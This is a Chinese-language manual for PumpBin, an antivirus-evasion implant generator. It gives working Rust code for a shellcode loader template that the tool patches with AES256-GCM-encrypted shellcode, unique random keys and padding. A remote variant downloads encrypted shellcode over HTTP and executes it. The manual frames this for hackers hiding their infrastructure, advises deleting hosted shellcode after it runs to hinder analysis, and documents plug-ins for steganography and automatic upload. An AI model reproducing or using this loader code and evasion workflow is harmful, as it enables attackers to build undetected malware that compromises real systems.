PumpBin
PumpBin是一个免杀生成平台.
要使用PumpBin, 你需要先获取一个b1n文件或者创建一个.
b1n文件包含一个或多个二进制植入物模板, 以及一些Extism Plug-in和一些描述性信息.
我们通常称b1n文件为Plugin, 称wasm文件为Extism Plug-in.
plug-in仓库收集可重用的PumpBin Extism Plug-in.
- 强大, 简洁, 舒适的UI
- 遵循最小原则,保证使用的最大灵活性
- 支持两种Plugin类型,
Local
和Remote
- 支持Extism插件系统, 拥有强大的扩展性
- 每个生成的植入物都有不同的随机加密密钥
- 填充随机数据,每个生成的植入物都是唯一的
- 我们有用户手册, 你不再需要教育你的用户
- 没有任何依赖, 只有PumpBin
- 支持描述,你可以写下任何关于这个Plugin的信息
- 没有网络连接(不包括Extism Plug-in)
- ... 我是PumpBin, 我有魔法🪄
Contributing
网站使用mdBook生成, 托管在GitHub.
如果你写了一篇关于PumpBin的文章, 请提交一个 issue, 我会考虑链接你的文章 :)
Quick Start
在这一章, 我们将制作一个Local
类型的Plugin, 并理解PumpBin的工作原理.
Local
类型的Plugin, shellcode在最终植入物内部存放. 这种方式有一定的稳定性优势, 但是shellcode容易被提取分析.
PumpBin将读取shellcode文件, 并根据加密设置将加密后的shellcode动态patch到二进制植入物模板内, 加密所使用的随机密码也会一同patch.
所以PumpBin本质上是一个二进制数据搜索替换工具, 这种实现方式要求预先在二进制植入物内放置占位数据, 一旦编译完成, 占位数据长度将不可更改.
一般情况下, 我们会让shellcode占位数据长度比所需要的稍大一些(如果你知道将要使用的shellcode长度), 这有两个原因:
- 为了更大的兼容性(如果Plugin shellcode占位数据长度小于加密后的shellcode长度, Plugin将无法用于此shellcode)
- 多出的占位数据并非无用, PumpBin将用随机数据填充, 保证每次生成的植入物都是唯一的
制作二进制植入物模板
我将使用rust-shellcode中的create_thread作为加载代码.
克隆rust-shellcode
git clone --depth 1 https://github.com/b1nhack/rust-shellcode.git
进入create_thread
目录
cd rust-shellcode
cd create_thread
编译运行, 测试是否成功加载演示shellcode
默认会运行w64-exec-calc-shellcode-func.bin, 你应该看到calc
程序被启动.
cargo r
我们需要使用shellcode占位数据替换w64-exec-calc-shellcode-func
在create_thread
目录下创建build.rs, 并粘贴以下代码
use std::{fs, iter};
fn main() {
let mut shellcode = "$$SHELLCODE$$".as_bytes().to_vec();
shellcode.extend(iter::repeat(b'0').take(1024 * 1024));
fs::write("shellcode", shellcode.as_slice()).unwrap();
}
这样我们会生成一个大约1MiB的占位数据, 并且由$$SHELLCODE$$
开头(我们称其为Prefix
, PumpBin使用它来定位占位数据, 所以Prefix
需要保持唯一, PumpBin会使用第一个匹配结果).
将main.rs第11行替换为下面的代码, 使其包含占位数据
let shellcode = include_bytes!("../shellcode");
由于shellcode后会填充随机数据, 我们需要知道shellcode的长度, 以正确取出shellcode.
在main.rs 11行代码后添加以下代码
const SIZE_HOLDER: &str = "$$99999$$";
let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
let shellcode = &shellcode[0..shellcode_len];
我们添加了一个常量字符串引用, $$99999$$
也是一个Prefix
, 不过我们更喜欢称其为Place Holder
, 因为它将被完全替换.
(Prefix
会以有效数据+随机数据的形式完全替换, 而Place Holder
会以有效数据完全替换)
有了shellcode的长度信息, 我们可以获取到正确的shellcode, 编译修改后的create_thread
项目, 我们将得到一个简单的二进制植入物模板
cargo b -r
制作Plugin
现在我们有了一个简单的二进制植入物模板, 我们可以使用PumpBin Maker制作一个只包含Windows Exe的Plugin
Plugin Name填写first_plugin. (这个字段是Plugin的唯一标识, 这意味着用户无法同时安装两个同名的Plugin)
Prefix填写$$SHELLCODE$$
. (这是我们上面shellcode占位数据的Prefix
, 你可以使用任何你喜欢的Prefix
, 只要确保它是唯一的, 或者是第一个被匹配的)
Max Len填写shellcode占位数据的总大小, 在这个例子中应该是 1024*1024 + Prefix的大小 = 1048589. (单位是Bytes)
Type选择Local
, Size Holder填写$$99999$$
. (这是我们上面用来确定shellcode长度的常量字符串引用, 你可以使用任何你喜欢的Size Holder, 规则同上)
Windows Exe选择我们上面编译好的二进制植入物模板. (也可以直接填写文件路径)
点击Generate, 保存生成的b1n文件
测试Plugin
用PumpBin安装制作的Plugin, 并使用w64-exec-calc-shellcode-func
生成一个最终植入物, 运行应该看到calc
程序被启动.
至此, 我们制作了一个Local
类型的Plugin, 并理解了PumpBin的工作原理.
下一章将介绍PumpBin中的加密系统, 加密过程对用户透明, 由Plugin开发者决定, 由PumpBin处理.
本例中的完整项目文件在PumpBin代码仓库的examples/create_thread.
Encryption
在这一章, 我们将优化上一章制作的Plugin, 使用AES256-GCM加密shellcode.
大部分黑客应该都想加密自己的shellcode, 没有人会愿意暴露基础设施.
制作二进制植入物模板
要制作有加密功能的Plugin, 我们的二进制植入物模板需要先实现对应的解密逻辑.
我们将在上一章代码的基础上更改.
在Cargo.toml文件末尾添加下面的依赖
aes-gcm = "0.10.3"
在main.rs中的main函数上面添加如下解密函数
fn decrypt(data: &[u8]) -> Vec<u8> {
const KEY: &[u8; 32] = b"$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$";
const NONCE: &[u8; 12] = b"$$NNNNNNNN$$";
let aes = Aes256Gcm::new_from_slice(KEY).unwrap();
let nonce = Nonce::from_slice(NONCE);
aes.decrypt(nonce, data).unwrap()
}
其中两个被$$
包裹的数组引用, 上一章已经出现过, 是两个Place Holder
, PumpBin使用它来定位占位数据.
(Place Holder
是固定大小, Prefix
是动态大小, 所以上一章中需要Size Holder来确定shellcode真实长度, 并且还需要Max Len字段)
在main.rs中main函数内第4行后添加如下代码
let shellcode = decrypt(shellcode);
添加完成后的main函数如下
fn main() {
let shellcode = include_bytes!("../shellcode");
const SIZE_HOLDER: &str = "$$99999$$";
let shellcode_len = usize::from_str_radix(SIZE_HOLDER, 10).unwrap();
let shellcode = &shellcode[0..shellcode_len];
let shellcode = decrypt(shellcode);
let shellcode_size = shellcode.len();
...
编译修改后的create_thread
项目, 我们将得到一个使用AES256-GCM解密shellcode的二进制植入物模板.
cargo b -r
制作Plugin
我们使用PumpBin Maker制作Plugin, 步骤和上一章相同, 唯一不同的是我们还需要一个实现了对应解密逻辑的Extism Plug-in.
plug-in仓库收集可重复使用的PumpBin Extism Plug-in, 其中包含aes256-gcm Extism Plug-in.
README.md中说明了使用方法
key:
$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce:$$NNNNNNNN$$
我们需要在二进制植入物模板的解密函数中使用特定的key和nonce作为Place Holder
, 我们前面已经这样做了.
(如果你前面修改了解密函数中的KEY或者NONCE, 那么你需要从添加解密函数步骤重新开始)
下载编译后的aes256_gcm.wasm, 并将文件路径输入到到PumpBin Maker中的Encrypt Shellcode Plug-in
输入框中. (也可以使用文件选择对话框选择下载的aes256_gcm.wasm
文件)
Plugin Name填写first_plugin. (这个字段是Plugin的唯一标识, 这意味着用户无法同时安装两个同名的Plugin)
Prefix填写
$$SHELLCODE$$
. (这是我们上面shellcode占位数据的Prefix
, 你可以使用任何你喜欢的Prefix
, 只要确保它是唯一的, 或者是第一个被匹配的)
Max Len填写shellcode占位数据的总大小, 在这个例子中应该是 1024*1024 + Prefix的大小 = 1048589. (单位是Bytes)
Type选择
Local
, Size Holder填写$$99999$$
. (这是我们上面用来确定shellcode长度的常量字符串引用, 你可以使用任何你喜欢的Size Holder, 规则同上)
Windows Exe选择我们上面编译好的二进制植入物模板. (也可以直接填写文件路径)
点击Generate, 保存生成的b1n文件
测试Plugin
用PumpBin安装制作的Plugin, 并使用w64-exec-calc-shellcode-func
生成一个最终植入物, 运行应该看到calc程序被启动.
至此, 我们制作了一个使用AES256-GCM加密方法的Local
类型Plugin
前两章中, 我总是将Local
引用起来, 以提醒这是一个关键词, 正确理解它们对于使用PumpBin非常重要.
下一章, 我们将制作第一个Remote
类型的Plugin. 这允许将shellcode托管在远程服务器.
本例中的完整项目文件在PumpBin代码仓库的examples/create_thread_encrypt.
Remote Type
在这一章, 我们将制作一个Remote
类型的Plugin.
Remote
类型的Plugin, shellcode托管在远程服务器上, 可以通过控制shellcode的访问性, 使shellcode更难被提取分析, 从而保护基础设施.
例如, 在植入物运行成功后, 将远程shellcode文件删除. (前提是你没有其他依赖这个链接的植入物需要运行)
建议始终给每个生成的最终植入物设置一个唯一的shellcode托管地址(一个最终植入物对应一个链接)
制作二进制植入物模板
我们将在上一章代码的基础上进行修改
首先, 我们需要一种方式从远程服务器获取加密的shellcode文件, 而不是将shellcode占位数据预先包含到二进制植入物模板中.
删除build.rs (不再需要生成shellcode占位数据).
在Cargo.toml末尾添加依赖项, 本例中使用http协议作为演示. (可以使用任何协议, 或以任何方式实现下载函数)
reqwest = { version = "0.12.5", features = ["blocking"] }
在main.rs的main函数上添加如下下载函数
fn download() -> Vec<u8> {
const URL: &[u8; 81] =
b"$$UURRLL$$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
let url = CStr::from_bytes_until_nul(URL).unwrap();
reqwest::blocking::get(url.to_str().unwrap())
.unwrap()
.bytes()
.unwrap()
.to_vec()
}
$$UURRLL$$是一个Prefix
, 这意味着URL常量会以有效数据+随机数据填充, 所以建议预留一部分字节让PumpBin填充随机字节.
由于url或之类的托管地址大部分都是可打印字符, 所以此处的处理与第一章中$$SHELLCODE$$ Prefix
略有不同.
我们不再需要Size Holder来区分有效数据, 相反PumpBin会在有效数据后添加一个\x00字节, 以定位有效数据. (所以实际最大URL长度会比Max Len少一个字节, 因为末尾一定会添加一个\x00字节)
这在rust中很容易实现, 其他语言应该也有类似的实现. 如果没有, 只需要for循环逐字节判断是否是\x00字节.
实现了下载函数后, 我们需要在main.rs中使用它替换shellcode占位数据
删除main.rs中main函数的前四行代码, 并在第一行添加以下代码
let shellcode = download();
let shellcode = shellcode.as_slice();
修改后的main函数如下
fn main() {
let shellcode = download();
let shellcode = shellcode.as_slice();
let shellcode = decrypt(shellcode);
let shellcode_size = shellcode.len();
...
编译修改后的create_thread
项目, 我们将得到一个使用http协议下载加密shellcode文件的二进制植入物模板.
cargo b -r
制作Plugin
使用PumpBin Maker制作Plugin, 与前面章节类似.
Prefix填写$$UURRLL$$
Max Len填写URL常量数组引用的长度 81.
Type选择Remote
下载编译后的aes256_gcm.wasm, 并将文件路径输入到到PumpBin Maker中的
Encrypt Shellcode Plug-in
输入框中. (也可以使用文件选择对话框选择下载的aes256_gcm.wasm
文件)
Plugin Name填写first_plugin. (这个字段是Plugin的唯一标识, 这意味着用户无法同时安装两个同名的Plugin)
Windows Exe选择我们上面编译好的二进制植入物模板. (也可以直接填写文件路径)
点击Generate, 保存生成的b1n文件
测试Plugin
用PumpBin安装制作的Plugin, 点击Encrypt按钮选择w64-exec-calc-shellcode-func
生成加密的shellcode文件.
使用Python3在加密后的shellcode文件同级目录下开启一个http服务
python -m http.server 8000
加密shellcode文件的本地http地址应该是http://127.0.0.1:8000/shellcode.enc
填入PumpBin, 生成最终植入物, 运行应该看到访问请求, calc程序被启动.
如果使用的Encrypt Shellcode Plug-in使用随机加密密码
每次点击Encrypt按钮成功加密shellcode后, 都将更新内部记录的随机加密密码(因为需要将真实加密密码patch到二进制植入物模板中). 如果你加密了一次shellcode(称其为shellcode0), 将shellcode0上传到远程服务器, 并将链接填写到PumpBin中, 但是在生成最终植入物前, 又加密了一次shellcode(称其为shellcode1), 然后再生成最终植入物, 那么生成的最终植入物只能解密shellcode1, 而无法解密远程的shellcode0文件.
后续章节将介绍如何开发PumpBin Extism Plug-in, 以及更多的内部细节, 帮助赛博安全研究员应对复杂的需求.
比如: 如何在用户点击Encrypt按钮加密shellcode后将加密的shellcode隐写到png文件中, 再将png文件上传到某个网站, 上传成功后将远程png文件访问地址自动填写到shellcode url输入框中.
本例中的完整项目文件在PumpBin代码仓库的examples/create_thread_remote.
Extism Plug-in
PumpBin使用Extism实现插件系统.
注意: Extism的主要用例之一是构建可扩展的软件和插件. 您希望能够从用户那里执行任意, 不受信任的代码? Extism使这样做既安全又实用.
PumpBin Extism Plug-in输入输出均是字节流, 并使用json序列化, Plug-in需要将输入字节流反序列化成json, 将json输出序列化成字节流. 在rust中使用serde_json的示例如下:
#[derive(Debug, Serialize, Deserialize)]
pub struct Input {
...
}
#[derive(Debug, Serialize, Deserialize)]
pub struct Output {
...
}
#[plugin_fn]
pub fn extism_plugin(input: Vec<u8>) -> FnResult<Vec<u8>> {
let input = serde_json::from_slice::<Input>(input.as_slice())?;
...
let output = Output { ... };
Ok(serde_json::to_vec(&output)?)
}
常见错误
如果Plug-in中有任何代码涉及syscalls, 则需要编译为启用wasi
模块. 比如生成随机数, 网络访问等等. (推荐直接编译为启用wasi
模块, 避免错误, rust中为wasm32-wasi
target)
Extism官网有使用各种语言开发Plug-in的详细教程, 下面是PumpBin Extism Plug-in的API文档.
以remote结尾的是Remote
类型Plugin特有的Extism Plug-in.
encrypt_shellcode
将原始shellcode加密.
函数名
encrypt_shellcode
Input
{
"shellcode": []
}
shellcode
为字节数组, 是原始shellcode.
Output
{
"encrypted": [],
"pass": [
{
"holder": [],
"replace_by": []
},
{
"holder": [],
"replace_by": []
}
]
}
encrypted
为字节数组, 是加密后的shellcode.
pass
为以下json结构数组, 用于patch二进制植入物模板中的加密密码(有的加密方式有多个密码, 所以是一个数组):
{
"holder": [],
"replace_by": []
}
holder
为字节数组, 是二进制植入物模板解密函数中的密码占位符.
分享Plug-in时请告知如何正确设置解密函数中的密码.
比如plug-in仓库中的aes256-gcm有如下READEME内容:
key:
$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
nonce:$$NNNNNNNN$$
上述内容表明使用aes256-gcm
Plug-in, 需要将二进制植入物模板AES256-GCM解密函数中的key设置为$$KKKKKKKKKKKKKKKKKKKKKKKKKKKK$$
, nonce设置为$$NNNNNNNN$$
.
replace_by
为字节数组, 是加密密码. 可以在Plug-in中生成随机加密密码, 使每个生成的最终植入物都有唯一的加密密码.
format_encrypted_shellcode
将加密后的shellcode转换成另一种格式, 比如隐写到png, 转换成UUID ...
函数名
format_encrypted_shellcode
Input
{
"shellcode": []
}
shellcode
为字节数组, 是加密后的shellcode.
Output
{
"formated_shellcode": []
}
formated_shellcode
为字节数组, 是转换后的shellcode.
format_url_remote
将shellcode url转换成另一种格式. (Remote
Only)
函数名
format_url_remote
Input
{
"url": ""
}
url
为字符串, 是原始shellcode url.
Output
{
"formated_url": ""
}
formated_url
为字符串, 是转换后的shellcode url.
upload_final_shellcode_remote
将final shellcode上传到远程服务器. (Remote
Only)
final shellcode是经过加密和转换后的shellcode, 如果某个Plug-in未设置, 则原样返回, 例如format_encrypted_shellcode Plug-in未设置, 则原样返回传入的加密后的shellcode.
函数名
upload_final_shellcode_remote
Input
{
"final_shellcode": []
}
final_shellcode
为字节数组, 是final shellcode.
Output
{
"url": ""
}
url
为字符串, 是上传后的url地址, PumpBin将自动填写到shellcode url输入框中.